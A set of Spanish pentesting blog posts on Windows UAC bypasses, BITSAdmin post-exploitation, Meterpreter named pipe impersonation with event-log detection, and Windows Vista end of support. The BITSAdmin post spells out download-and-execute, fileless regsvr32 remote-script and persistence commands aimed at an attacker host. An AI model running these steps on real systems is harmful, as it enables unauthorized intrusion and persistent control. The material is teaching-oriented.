Cuándo un Bypass de UAC en Windows es un "Bug" o una "Feature"

El artículo de hoy lo escribo por algunas razones, las cuales comentaré en breve. El punto para reflexionar es: ¿Qué es un bypass de UAC? Para muchos una técnica desprestigiada en un Ethical Hacking, para otros una vía a tener en cuenta en la obtención de privilegios o la obtención de una shell en un nivel de integridad alto de Windows.  Puedo equivocarme en lo que comente en este artículo o puede que tengas otra visión, pero vamos a ir viendo y matizando ciertos aspectos que cubren a esta técnica. 

Figura 1: Cuando un Bypass de UAC en Windows es un "Bug" o una "Feature"

Lo primero, y seguramente más importante, ¿Es una vulnerabilidad? Para Microsoft no es una vulnerabilidad, es una opción de configuración. Y, técnicamente, es cierto. Es decir, si cambias la configuración por defecto del UAC, la inmensa mayoría de los bypasses conocidos dejan de funcionar. El mecanismo de UAC funciona, solo que depende de su configuración. 

Figura 2: Máxima Seguridad en Windows Gold Edition

Por supuesto, si lo que quieres es aplicar Máxima Seguridad a tu Windows, esto es algo que se aplica en primer paso. Es decir, quitar la configuración por defecto y aplicar la que exige a todos los binarios la confirmación UAC, y no permite el autoelevado. Vamos un poco más allá para entenderlo. ¿Cómo nos protegemos de los bypasses de UAC? Vamos primero a ver la GPO, para lo que buscamos: 

Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> User Account Control: Behaviour of the elevation prompt for administrators in Admin Approval Mode

Ahí encontraremos uno de los motivos por los que los bypasses de UAC funcionan. Como se puede ver en la imagen, se pedirá consentimiento, por parte del UAC, solo a los procesos que no sean binarios de Windows. Realmente, hay un mayor detalle en esto que comentaré a continuación.

Figura 3: Política para UAC para los binarios que no son de Windows

Aparte de ser un “binario de Windows”, que esto no es más que se encuentre firmado por Microsoft, éste debe ser además un binario con una directiva en el Manifest con “Auto-Elevate”  con valor "True". Es decir, le están diciendo al sistema que el binario, aparte de estar firmado por Microsoft, éste tiene una especie de “carnet especial” o “pase especial” y que no debe rendir cuentas al UAC. 

Por último, otra de las comprobaciones que hace el sistema es que el binario se esté ejecutando en una ruta “privilegiada”, por ejemplo, System32. Si recordamos el bypass de UAC de Mocking Directory Trusted, gracias a un fallo de interpretación de una de las APIs internas del sistema se podía “saltar” esta protección.

Figura 4: Libro de Hacking Windows

Desde el punto de vista del pentesting tenemos que tener en cuenta algunas cosas también. Lo que parece más lógico, pero que a veces la gente puede no entender bien es que, para pasar a un nivel de integridad alto, debes de estar en otro nivel de integridad, inferior se entiende. 

En el caso de un bypass de UAC debes partir desde un nivel de integridad medio. Por esta razón, el módulo de Metasploit, cuando se hace cualquier bypass de UAC de forma automática, nos muestra los diferentes chequeos, entre ellos el nivel de integridad actual.

Figura 5: ByPass de UAC en Metasploit

Como se puede observar, una de las cosas que se chequean es el nivel de integridad. Si estuviéramos en un nivel de integridad alto y no nos hubiéramos dado cuenta, sería una cosa muy extraña, porque demostraríamos no tener el control de lo que hacemos, pues ya estaríamos “elevados”, por lo que no tendría sentido realizar esta operación. Puede que nuestro proceso no se encuentre en un nivel de integridad medio y estemos más abajo, tendremos problemas también. Debemos entender por qué estamos y debemos estar en este nivel de integridad.

Esto va relacionado con el tipo de usuario que debemos ser. Solo podemos ser un usuario que forme parte del grupo administradores, pero que no esté ejecutando el proceso como administrador. Esto es importante. Es otra cosa que a veces no queda clara. 

Figura 6: Metasploit para Pentesters Gold Edition

Necesitamos que un usuario que tiene privilegios para realizar acciones como administrador, haya ejecutado un proceso y que no haya hecho uso de dichos privilegios para, una vez comprometido su proceso, podamos aprovechar este hecho y hacer el bypass de UAC. Puede ser lioso, pero es lógico. Si el usuario hubiera lanzado el proceso como administrador, el nivel de integridad ya sería alto, no medio.

Como se veía en la imagen anterior, el módulo de Metasploit comprueba si el usuario al que pertenece el proceso comprometido es o no es del grupo administradores. Si no es del grupo administradores, ¿Qué ocurre? Es sencillo, la política de comportamiento del UAC asociada es diferente. Tal y como se puede ver en la imagen, la acción por defecto para un usuario que no pertenece al grupo administradores es que el UAC pida credenciales.

Figura 7: Selección de opción de pedir credenciales

Windows Vista, en el comienzo de la historia del UAC, utilizaba un comportamiento más estricto, pedía confirmación (Sí o No) para los administradores, independientemente de si el binario estuviera o no firmado por Microsoft o si tenía o no Auto-Elevate. 

Figura 8: Configuraciones de los Modos UAC en Windows 7

¿Era más seguro? A priori, y basándonos en este artículo, sí. Pero las quejas llegaron. Los usuarios no estaban preparados para ello y se rebajaron algunas configuraciones. Esto fue en Windows 7, si no recuerdo mal, que puedo recordarlo mal.

Y un bypass de UAC entonces, ¿dónde tiene sentido?

Yo siempre digo en las clases o en los cursos/talleres que un bypass de UAC se enseña en local, pero su aplicación tiene sentido en remoto. Es decir, por motivos de divulgación y educación se puede enseñar en local todo el proceso de lo que ocurre, no solo quedaros con se lanza un módulo de Metasploit y listo, eso es la automatización y está bien, una vez que se conoce qué ocurre por detrás. 

Miramos con ProcMon y Proccess Explorer lo que ocurre, se estudian diferentes técnicas: Environment Injection, DLL Hijacking, Fileless… O jugamos con nuestro querido UAC-A-Mola y vemos qué cosas se pueden hacer.


Figura 9: UAC-a-Mola: Bypassing UAC using Fileless techniques
Pero a la hora de poner en práctica o de utilizar en un Ethical Hacking solo tiene sentido en remoto, porque si tienes un usuario que cumple los requisitos del bypass de UAC y tienes acceso físico te vale ejecutar:

 “botón derecho -> Ejecutar como administrador” 

Bien, pero ¿cómo hacemos eso en remoto? Es complejo. Vamos a tener una shell remota con la que podemos ver fácilmente si tenemos la posibilidad de utilizar técnicas de bypass de UAC y si estamos en ese caso, ¿cómo se aplican? ¿Ejecutas botón derecho -> admin? No. No puedes. Aquí es dónde tiene todo el sentido del mundo las técnicas de bypass de UAC.

Desde una shell invocarás a un binario que cumple las tres necesidades comentadas anteriormente, previamente habrás preparado el camino para que la ejecución de dicho binario desemboque en que el nuevo proceso haga uso de tu código, y como ese proceso se estará ejecutando en un nivel de integridad alto, tu código también se ejecutará en el mismo nivel de integridad.

Ahí tenemos el bypass, porque gracias a las características del binario, el UAC dejará ejecutarlo. Y en esto se resume. Hemos hablado mucho en este blog sobre diferentes bypasses de UAC, cómo han ido evolucionando las técnicas, cómo a veces se simplificaban y ahí están los artículos

Para mí: ¿Qué no es un bypass de UAC?

Si desde la GUI de cualquier binario se puede ejecutar código, pero no se puede hacer a través de una consola, para mí no es un bypass de UAC efectivo. Puede que, técnicamente se haga un bypass de UAC, porque evitemos que se ejecute el UAC y se ejecute un código nuestro. ¿Nos aporta algo más que darle al botón derecho -> "ejecutar como administrador"? Eso es lo que nos tenemos que preguntar, es decir, ¿podremos utilizarlo?

Aquí tenemos una bifurcación: bypass de UAC efectivo para el pentesting o bypass de UAC que prueba un concepto, pero no es efectivo para el pentesting. Como ejemplo podemos utilizar algunos ejemplos con interfaces gráficas.

Técnicamente, lo que veremos ahora consigue hacer que un CMD se ejecute y no salte el UAC. Sabemos que cuando se intenta ejecutar una CMD con privilegio, el UAC saltará para confirmación del usuario o petición de credenciales en el caso de un usuario que no sea del grupo administradores. Tenemos que pensar, ¿se puede usar en un pentest? Eso es más complejo.  Lo primero es utilizar un binario de los que sabemos que ejecutan en un nivel de integridad alto sin que el UAC salte, por ejemplo, el eventvwr.exe en Windows 10.

Figura 10: EventViewer tiene Auto-Elevate True

Desde aquí, todo lo que sea código que se ejecute heredará el nivel de integridad alto, por lo que podemos ir al menú “Help”. La opción “Help Topics” nos muestra la ayuda del visor de eventos. Pinchando con el botón derecho en la parte donde se muestra el texto se puede ver una opción que es “View Source”.

Figura 11: View Source

Al ejecutar “View Source” se ve un bloc de notas con un texto. Claro, si analizamos el bloc de notas con Proccess Explorer podremos ver que el notepad.exe se ejecuta en un nivel de integridad alto. Aquí ya tenemos lo que buscamos, si abrimos un cuadro de diálogo tenemos la posibilidad de ejecutar lo que se quiera.

Figura 12: notepad.exe con nivel de integridad alto

Abrimos el cuadro de diálogo y buscamos en System32 el binario del CMD. En vez de abrirlo sobre el notepad.exe, botón derecho y abrir el cmd.exe. Ahí lo tenemos. ¿Podríamos haberlo hecho a través de una shell? Si encontramos la forma de hacer que todo esto se pueda hacer desde una línea de comandos, tendríamos, desde mi opinión, un bypass de UCA efectivo, si no, simplemente hemos demostrado o enseñado que hay código que puede ser ejecutado sin que el UAC salte, pero no termina de ser efectivo en un pentesting o en un Ethical Hacking.

Figura 13: CMD.exe elevado sin UAC

En la siguiente imagen de Process Explorer se puede ver el nivel de integridad y cómo desde el mmc.exe (abierto con eventvwr.exe directamente) sin que el UAC salte, porque es un binario que cumple las condiciones comentadas anteriormente, se van abriendo diferentes procesos hasta llegar a una cmd.exe.

Figura 14: Nivel de Integridad "High"

Vale, pero, ¿es efectivo? Cuando se lee bypass de UAC, una de las cosas que debemos valorar es efectivo o no. Generalmente, cuando hablamos de bypass de UAC entendemos que es una vía por la que se obtiene privilegios saltándonos el UAC y nunca a través de algo gráfico, porque no habría diferencia con “botón derecho -> ejecutar como admin”. El debate está servido. Tú decides.

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Figura 15: Contactar con Pablo González

Hacking Windows: BITSAdmin for Pentesters

Hoy venimos con un poco de pentesting y la herramienta BITSAdmin, una herramienta nativa de Windows que se encuentra con nosotros desde la versión XP del sistema operativo. Seguramente la puedas utilizar en muchos proyectos de Ethical Hacking, ya que como herramienta de post-explotación para hacer ciertas acciones viene bien.

Figura 1: Hacking Windows: BITSAdmin for Pentesters

Hoy os voy a hablar un poco de BITSAdmin ya que lo estoy preparando como dentro del conjunto de técnicas y herramientas que mostraré en un par de Hands on Lab que impartiré el 7 y 8 de Mayo y el 21 y 22 de Mayo. Estos hands on lab van de hacking y pentesting y recibirás el libro de Metasploit para pentesters Gold Edition y el de Ethical Hacking con el pack HACKING.

Figura 2: Metasploit para pentesters Gold Edition

El servicio Background Intelligent Transfer Service Admin permite crear descargas o subidas en forma de Jobs monitorizando su progreso. BITSAdmin, con la salida de Windows Vista, incorporó cabeceras HTTP personalizada, autenticación de cliente basada en certificados y soporte a IPv6. Para muchos es un gran desconocido, pero es una herramienta de línea de comandos que puede ser útil en un pentesting.

Con BITSAdmin se puede hacer descargas y subidas de ficheros a servidores HTTP y SMB. BITSAdmin puede pausar y reanudar las transferencias de archivos, incluso después de un reinicio. El uso que se le puede dar en un Ethical Hacking es, a priori, obvio, lograr descargar de forma sencilla algún tipo de archivo al equipo.

Figura 3: Ethical Hacking

Realmente, el uso que puede tener va más allá, logrando descargas de instrucción directas a memoria o al registro de Windows logrando un file-less. Otra opción que se puede hacer de BITSAdmin es lograr cierta persistencia, también en modo “disco” o en modo file-less.

Primeros pasos con BITS

BITS o BITSAdmin tiene una serie de parámetros, más de los que podemos pensar a priori. En un primer uso, si queremos hacer una descarga rápida podemos hacer uso del parámetro /transfer. Con este parámetro indicaremos un recurso remoto que queremos descargar y un destino donde almacenarlo. La sintaxis es:

Bitsadmin /transfer [nombre_job] http://[url] [destino local]

Por ejemplo:

 bitsadmin /transfer pablo_poc http://1.1.1.1/file.png c:\destino\file.png

Para copiar localmente ficheros también se puede llevar a cabo de manera muy sencilla mediante el uso de un job. Seguiremos los siguientes pasos:

- Creamos el job. Bitsadmin /create pablo_poc 

- Añadimos al job el origen y el destino. Bitsadmin /addfile pablo_poc [ruta1] [ruta2] 

- Ahora se inicia la transferencia con el parámetro “resume”. Bitsadmin /resume pablo_poc. 

- Finalizamos el trabajo. Bitsadmin /complete pablo_poc.

Start-BitsTransfer en Powershell

En Powershell se tiene de un cmdlet que se puede utilizar para hacer la transferencia de archivos de manera sencilla. No hace falta especificar el trabajo a crear, ni hacer referencia a él posteriormente. Solo con el parámetro Source y Destination es suficiente para hacer la transferencia.

Figura 4: Cmdlet para usar BitsTransfer en PowerShell

Aparte se puede utilizar bits indicando el tipo de transferencia con el parámetro denominado TransferType. Hay muchas opciones interesantes en su documentación. Por ejemplo, si hay que autenticarse en el servidor se puede utilizar la siguiente sintaxis:

Start-BitsTransfer -Credential Username\Domain -Source https://[URL] -Destination [Ruta] -ProxyUsage Override -ProxyList @(https://proxy1, 123.24.21.23, proxy3).

También se puede hacer uso de un fichero CSV que enumere los diferentes tipos de trabajos que deben ser realizados con BITS. La sintaxis es sencilla y sería:

Import-CSV [fichero con lista] | Start-BitsTransfer -TransferType Upload.

Figura 5: Documentación oficial de BITS

Tras ver algunas opciones de BITS vamos a avanzar con un caso práctico y sencillo que puede ser utilizado en el pentesting.

Transferencia de un binario y de un “file-less”

En este apartado vamos a ver dos ejemplos. El primero, muy gráfico, generamos un binario con Metasploit. Para generarlo podemos utilizar msfvenom o, directamente, utilizar el módulo payload/Windows/meterpreter/reverse_tcp, como se puede ver en la imagen.

Figura 6: Reverse_TCP con msfvenom

Con la opción generate -f exe -o [ruta volcar el EXE] se puede generar rápidamente un binario para un sistema Windows. Ahora, preparamos un handler para recibir la conexión resultante de la ejecución del binario anterior.

Figura 7: arrancado el handler

Esto lo mostramos de manera local, pero se puede extrapolar a una sesión remota que tuviéramos o cualquier acción necesaria en un momento determinado. Los pasos para lanzar el job y provocar la subida del binario sería:

1. Bitsadmin /create [nombre job]
2. Bitsadmin /addfile [nombre job] http://[url EXE] [ruta interna]

Figura 8: bitsadmin en PowerShell

Por último, hacemos uso de:

3. Bitsadmin /setnotifycmdline [nombre job] cmd.exe “/c bitsadmin /complete [nombre job] | start /B [ruta interna EXE].

La última instrucción lo que hace es delegar en la cmd e invocar el binario subido. La última instrucción puede ser un bitsadmin /resume [nombre job] lo que finalizará el proceso.

Figura 9: Delegación de la cmd

Tras ejecutar eso, producirse la descarga y ejecutarse el binario se obtiene una sesión en Metasploit, tal y como puede verse en la imagen. Hay que indicar que el binario, lógicamente, puede ser detectado por el antivirus, por lo que habría que jugar a la evasión previa.

Figura 10: Sesión de meterpreter conseguida

Ahora vamos con un segundo ejemplo. Ahora toca el turno de un payload de tipo file-less. Para ello la idea es, en vez de utilizar el handler de Metasploit es utilizar el web_delivery, también de Metasploit y que hemos utilizado mucho en el blog. La configuración de web_delivery es sencilla. Configuramos el módulo con Target a 3 para que nos genere un SCT y sea ejecutado posteriormente.

Figura 11: Configuración de web_delivery

Aquí se hace un pequeño “trick”. BITS necesita descargar algo, por lo que las dos primeras instrucciones las dejamos igual:

1. Bitsadmin /create [nombre job] 

2. Bitsadmin /addfile …

Ahora en el /SetNotifyCmdLine es donde le invocamos la instrucción que nos devolvió el módulo web_delivery. Quedaría así:

bitsadmin /setnotifycmdline [nombre job] 

    regsvr32.exe "/s /n /u /i:http://[ip_y_puerto]/dE8vICrV.sct scrobj.dll

Por último se invoca el bitsadmin /resume. Una técnica interesante de tipo “file-less”.

Persistencia

Por último vamos a hablar de la persistencia. BITSAdmin se puede utilizar para lograr cierta persistencia en el equipo comprometido, que es tan importante para poder tomar el control de un equipo o de varios en la red cuando se está en medio de un Hacking de Windows.

Figura 12: Hacking Windows

Para conseguir esa tan querida persistencia existen dos enfoques que se pueden emplear principalmente, y que serían:

1. Persistencia manual: en la que vamos a almacenar un fichero en el equipo y le vamos a programar un trabajo para que se ejecute cada X minutos. ¿Esto cómo funciona? Existe un parámetro en BITS que es “SetMinRetryDelay”. Esta opción fija cada cuando hay que reintentar un job o descarga que falla. El esquema es el siguiente:

o Creamos el trabajo con BITS. Lo hemos hecho antes. 

o Añadimos la descarga. Lo hemos hecho antes. Estas dos instrucciones son iguales a las anteriores. 

o Bitsadmin /SetNotifyCmdLine [nombre job] [ruta EXE]. Aquí ejecutamos el EXE descargado por el job. 

o Bitsdadmin /SetMinRetryDelay [nombre job] X. X es un valor en segundos.

o Bitsadmin /resume.

2. Enfoque fileless, que tanto nos gusta. La estrategia es muy similar a lo que hemos trabajado antes, es decir, utilizamos un SCT para ejecutar en memoria sin necesidad de tocar disco. Configuramos el web_delivery como se hizo antes y ejecutamos:

o Creamos el trabajo con BITS. Lo hemos hecho antes. 

o Añadimos la descarga. Lo hemos hecho antes. Estas dos instrucciones son iguales a las anteriores.

o bitsadmin /setnotifycmdline [nombre job] regsvr32.exe "/s /n /u /i:http://[ip_y_puerto]/dE8vICrV.sct scrobj.dll 

o Bitsdadmin /SetMinRetryDelay [nombre job] X. X es un valor en segundos.

o Bitsadmin /resume.

Como se puede ver el enfoque es el mismo, solo cambia la fuente del payload, si está en disco o si lo traemos directo a memoria en un momento determinado. Sin duda es una herramienta interesante que aporta en diferentes ámbitos del pentesting, tanto en ejecución de código como en la parte de persistencia puede ser utilizada. Necesario de conocer.

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Contactar con Pablo González

Named Pipe Impersonation: Escalando privilegios en Windows

Cuando te enfrentas a una escalada de privilegio en un pentesting dentro de un Ethical Hacking existen diferentes formas de afrontar este problema. La búsqueda de fallos en la configuración de los servicios, la búsqueda de la falta de paquetes de actualización en Windows mediante herramientas como Windows Exploit Suggester o el aprovechamiento de una vulnerabilidad en un instante de tiempo, ya sea porque tiene poco tiempo o porque no ha sido parcheada, como puede ser Hot Potato y su implementación en Powershell con Tater.

Figura 1: Named Pipe Impersonation: Escalando privilegios en Windows

Sin duda, la post-explotación puede ser una tarea ardua, aunque en algunas ocasiones nos parezca algo "sencillo". Hoy quería hablar del funcionamiento de la técnica Named Pipe Impersonation y cómo puede ser detectada gracias al registro de eventos de Windows. Este tipo de técnicas y otras se podrán conocer en el lab de Metasploit de Rooted CON 20018 - si te apuntas  y te has leído el libro de Metasploit para Pentesters 4ª Edición antes, podrás sacar lo máximo del training.

¿Qué es Named Pipe Impersonation?

Lo primero que hay que decir es que es una técnica utilizada dentro del framework de Metasploit, aunque también podría ser utilizada fuera de dicho contexto. Es una técnica que permite escalar privilegios. Un named pipe es una técnica que tiene el sistema operativo Windows para facilitar la comunicación entre procesos. Es sencillo, si un proceso quiere "contactar" con otro, el primero de los procesos puede enviar un mensaje sobre la red o utilizar un fichero. En el segundo caso, el proceso escribe el mensaje en un fichero y el otro proceso lo lee.

Esta es la base de la técnica Named Pipe, por lo que, si se mira desde el punto de vista de un pentester, ésta puede ser utilizada para lograr un objetivo como el de ejecutar un código en un contexto privilegiado. Hay que tener en cuenta que el malware NotPetya utilizaba un nuevo proceso para comunicarse con el malware y hacer un dumpeo de credenciales. Este proceso utilizaba esta técnica para utilizar una comunicación encubierta, entre el proceso y el malware.

¿Qué significa realmente "impersonar" un Named Pipe?

Imagina un servidor y un cliente. El cliente solicita al servidor que realice alguna acción, por ejemplo, una consulta a la base de datos. El servidor puede tener control total sobre la base de datos, pero, por el contrario, el cliente puede tener un acceso limitado. Si el cliente no tiene los suficientes privilegios, el servidor nunca le dará o ejecutará la consulta que éste pueda solicitar. Hasta aquí, todo claro.

¿Qué ocurre si el cliente tiene más privilegios que el servidor? Tú puedes pasar este hecho, es decir, estos privilegios al servidor para que utilice dichas credenciales. El servidor puede "impersonar" la cuenta del cliente para realizar las acciones que requiera. Esta idea es la utilizada en el contexto del named pipe, es decir, si un proceso crea un pipe, este proceso será propietario del pipe server. Cuando otro proceso conecta a este pipe, éste llamará al pipe client. Una vez ambos conecten, el pipe server puede utilizar el privilegio del pipe client, el contexto de seguridad en el que se ejecuta el cliente o los privilegios que éste tiene.

Figura 2: Namedpipe.c en Meterpreter

Este hecho puede ser aprovechado para crear un pipe server con bajos privilegios e intentar conectar con un cliente con más privilegio que el pipe comentado. Cuando esto sucede, el pipe server podrá realizar acciones con los privilegios del cliente. Metasploit simplifica este hecho y lo automatiza a través del comando Getsystem del Payload Meterpreter. El código se puede encontrar en el Github del proyecto.

Profundizando un poco más

La idea está clara, pero ¿cómo interactúa realmente? Getsystem, cuando utiliza la técnica Named Pipe Impersonation, crea un pipe server con privilegios limitados. Posteriormente, configura un servicio en Windows, el cual será el cliente, para conectarlo a ese pipe. De esta forma se "impersona" el contexto de seguridad, ya que un servicio se ejecutará en un contexto de SYSTEM.

Como se puede ver en la documentación del código que implementa la técnica en el Github de Metasploit, se ejecutará una cmd.exe bajo un contexto de SYSTEM para que conecte al named pipe y se "impersonará" a este cliente. Esto puede ser llevado a cabo cuando se es Administrador sin la necesidad de tener el permiso SeDebugPrivilege. Esta técnica trabaja con Windows 2000/XP/2003 y 2008. En Windows Vista y Windows 7 solo trabaja si el proceso ha sido elevado a través de UAC o con un bypass de UAC. En versiones más modernas del sistema operativo también sigue funcionando.

Figura 3: Elevación de privilegios a SYSTEM para hacer la impersonación

En el caso de que la técnica no tenga éxito, se intenta un método similar llamado named pipe impersonation 2. En este caso, Meterpreter subirá una DLL al equipo y la ejecuta por medio de rundll32.exe, haciéndolo como servicio. La DLL se ejecutará en el contexto de SYSTEM y conectará con el pipe server para "impersonar" el token.

En la imagen, se puede ver como se obtiene una sesión en la que hay un token con la identidad y el privilegio del proceso.

Figura 4: Obtención de sesión con privilegios

El comando getsystem tiene diferentes técnicas implementadas para llevar a cabo la escalada de privilegio. Se utiliza la opción 1 para utilizar la técnica Named Pipe Impersonation, aunque la técnica 2 utiliza el mismo procedimiento, solo que hay que hacer la parte de la DLL en disco y la ejecución a través de la invocación del servicio y rundll32.exe.

Como se puede ver en la imagen, se utiliza la opción "-t 1" para seleccionar la técnica de Named Pipe Impersonation, explicada anteriormente.

Figura 5: Con -t 1 se configura Named Pipe Impersonation

En resumen, y para simplificar el entendimiento de la técnica, se ejecuta un proceso el cual se está ejecutando con el token, el cual tiene limitados los privilegios. El proceso creado genera un pipe con un nombre aleatorio. En este ejemplo se llama gbsbtr el pipe. El pipe es creado con el privilegio del usuario.

Figura 6: Uso de Named Pipe Impersonation en Meterpreter

Desde los servicios de Windows se puede ejecutar un nuevo servicio, el cual se ejecuta con usuario SYSTEM y puede enviar cualquier mensaje a través del pipe llamado gbsbtr. Aquí tenemos la escalada. El servicio es creado y está listo para conectar con el pipe. Cuando el servicio arranca, se lanza un cmd.exe como SYSTEM y conecta al pipe creado por el proceso generado por Metasploit, el cual ahora obtiene un entorno de SYSTEM.

Detectándolo en la máquina

Ahora, vamos a ver cómo detectar esta situación en una máquina comprometida. Para ello hacemos uso de Powershell y del cmdlet Get-EventLog. Buscamos dentro del mensaje de los eventos el contenido "A service ". Nos devolverán todos los eventos que encajen con lo buscado.

Figura 7: Buscando servicios con PowerShell

En esta ocasión, se puede ver como se recopila la información del registro de eventos de Windows y se buscan los servicios que tienen un pipe creado para interactuar. Hay que fijarse en la expresión regular de "*\\.\pipe*".

Figura 8: Buscando servicios con pipe

Una vez tenemos esto, se puede ver que lo almacenamos en una variable. Esta variable el contenido de los diferentes objetos podemos verlo con la instrucción $services | ForEach-Object {$_.message}. Obtenemos el comando ejecutado por cmd.exe y el servicio creado, además, de la cuenta de servicio utilizada, en este caso se puede ver como realmente es SYSTEM.

Figura 9: Servicio instalado

Una técnica interesante para el pentesting y que muchas veces utilizamos en el día a día. Es interesante ver cómo funciona por debajo y saber que está ocurriendo a nivel de proceso para que esto tenga éxito y en qué condiciones puede fallarnos.

Figura 10: PoC de Named Pipe Impersonation

En el vídeo anterior tenéis una demostración de 1 minuto paso a paso de cómo funciona el proceso de Named Pipe Impersonation desde una equipo con Kali Linux.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”,  Hacking Windows, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

Windows Vista Out: El sistema operativo del gorro dice adios

Corría el mes de Noviembre y a Microsoft  Ibérica le tocaba presentar Windows Vista en el SIMO del 2006. Había mucha ansiedad, pues tras el retraso inducido en la construcción del sistema operativo tras el comienzo de la Trustworthy Computing Initiative, Windows XP llevaba ya mucho tiempo en el mercado. Pero además de eso, había nevado mucho, y las montañas estaban con un buen paquete de nieve que no se podía desaprovechar.

Figura 1: Windows Vista Out "El sistema operativo del gorro"

Eso pensamos mi compañero José "el abuelo" Parada y yo, para decidir que el día que nos habíamos reservado en la agenda con el objeto de hacer las diapositivas de nuestra presentación - que tendría lugar por la tarde - era mejor dedicarlo a hacer un poco de Snowboard en Baqueira. Además, la conferencia del día de antes la habíamos dado en Lleida, así que estábamos a tiro de piedra. 

Figura 2: Windows Vista Aero y la barra de Widgets

Inicialmente nos había parecido como factible el pasarnos el día en la nieve, para después ponernos a hacer las diapositivas tranquilamente, pero luego decidimos que mejor era tomarnos algo y ya si eso, al día siguiente, mientras nos hacíamos el trayecto Baqueira-Madrid por la mañana, el copiloto podría ir haciendo las diapos... pero ni por asomo.

Mientras veníamos en el trayecto se nos ocurrió la idea de hacer las diapositivas de la presentación en el escenario delante de todos los asistentes - unos 2.000 - y hacer un pequeño teatrillo sobre las tablas: simularíamos que no era el día del evento, sino el día antes, y que estábamos en Baqueira haciendo las diapos después de pasarnos todo el día haciendo Snowboard. ¿Qué podría salir mal?

Figura 3: Momento de risas tras mis fallos controlando el Bloc de Notas con la voz

Así que, para darle ambiente a la obra me puse un gorro de los míos. No me puse mi gorro preferido - uno de rayas marrones y azules - porque lo tenía sucio, pero salí con el gorro de repuesto. Y las demos medio-funcionaron. Eso sí, nos reímos mucho en el escenario y la gente también, sobre todo en el momento en el que yo estaba controlando el bloc de notas con la voz.

Figura 4: Con Rosa García, presidenta de Microsoft Ibérica en 2006,
 después del lanzamiento de Windows Vista

Aún quedaría un poco para que la versión de Windows Vista destinada al público llegara en 2007, pero para todos los efectos Windows Vista a la par que ponerme un gorro en las charlas, ya estaban lanzados. Esta es la historia del gorro que he contado tantas veces.

Flash Forward: 2017

Hoy ya han pasado más de 10 años de aquel momento, y el tiempo de vida de Windows Vista se ha acabado. De hecho, como se anunció hace mucho tiempo, la fecha final del soporte extendido de Windows Vista acaba el 11 de Abril de 2017, igual a la fecha que tienes enfrente en tu calendario. 

Ya no hay soporte extendido. Ya no hay parches para los 0days, para los bugs con y sin exploits, ya no debería estar en tu empresa Windows Vista. Ya es una pieza que forma parte de la historia de la informática. Algo para coleccionar. De museo. Retro-ware. Para los amantes del blanco y negro, los ocho píxeles y el vintage hacking. It's over. Windows Vista, Out.

Figura 5: Fecha de fin de soporte extendido de Windows Vista

Y lo remarco por activa y por pasiva, para que lo tengas claro. Que no debe estar en tu empresa, que no debería estar hace tiempo en tu empresa para evitar las prisas. Que no debe dar soporte a ninguna aplicación de negocio de tu compañía, y que si lo hace o te ha pillado el toro con el plan de migración, es que no lo has planificado bien, como ya os dije con el caso de Windows XP.

Es la labor del CIO, CTO y CSO de las organizaciones planificar la retirada del software que se sabe que va a quedarse sin soporte, y en este caso estaba más que anunciado. No tengo mucho más que añadir a lo que os publiqué hace tres años cuando sucedió lo mismo con Windows XP: Es un uso irresponsable del Abandonware. 

Figura 6: Windows XP y el uso irresponsable del Abandonware

Yo, me lo llevo en el corazón, porque si no fuera porque tenía ese lanzamiento de Windows Vista en el que no me había preparado las diapositivas, tal vez nunca hubiera usado gorro en mis charlas, y ya no hubiera sido el mismo que soy hoy en día. Adiós, Windows Vista.

Saludos Malignos!

Nuevo Bypass de UAC en Windows 10 usando Disk Cleanup #Windows10 #Pentesting #Powershell

Recientemente Matt Graeber (@mattifestation) ha publicado una nueva vía para llevar a cabo un bypass del sistema de seguridad UAC de Microsoft. UAC, es User Account Control, y protege a los usuarios de Windows de ejecutar acciones con el máximo privilegio sin que ellos se den cuenta, siendo una pieza fundamental de la fortificación de sistemas Microsoft Windows. En un test de intrusión es interesante conocer este tipo de técnicas para conseguir el máximo privilegio, y poder ejecutar procesos como SYSTEM. La técnica de bypass de UAC funcionará siempre y cuando el usuario pertenezca al grupo administradores, entre otras cosas, además de ciertos condicionantes en cada caso.

Figura 1: Nuevo Bypass de UAC en Windows 10 usando Disk Cleanup

Algunas de las técnicas de Bypass de UAC son conocidas, y dependen de la configuración que tenga en cada sistema. Se puede hacer un ataque remplazando los accesos directos de un usuario como se vio en Windows Vista en al año 2007, o usando algunas de las técnicas previamente conocidas desde Metasploit o con PowerShell Empire, tal y como vimos ya por aquí.

Figura 2: Windows7Elevate. Una herramienta para hacer ByPass de UAC en Windows 7

Matt Graeber encontró una tarea programada llamada SilentCleanup en Windows 10, la cual está configurada para ser ejecutada por usuarios sin privilegios, pero con integridad alta. Matt descubrió esto de forma sencilla, viendo la tarea programada se puede observar como cualquier usuario que haya iniciado sesión ejecutará dicha tarea en un contexto de integridad alta.

Según la investigación de Matt y haciendo uso de la herramienta Procmon, se encontró que el proceso real comenzó con la tarea cleanmgr.exe y autoelevada debido a que se ejecuta con “ejecutar con alto privilegio” o “Run with highest privileges”. Esto se encuentra, como se ha visto en la imagen anterior, en la configuración de la tarea. Cuando cleanmgr.exe se ejecuta, se crea una nueva carpeta con el nombre de GUID en la ruta \users\[usuario]\appdata\local\temp\[GUID]. Una vez que el proceso cleanmgr.exe crea la carpeta temporal copia múltiples archivos DLL junto con dismhost.exe en la nueva carpeta.

Figura 3: Configuración de privilegios de la tarea SilentCleanup

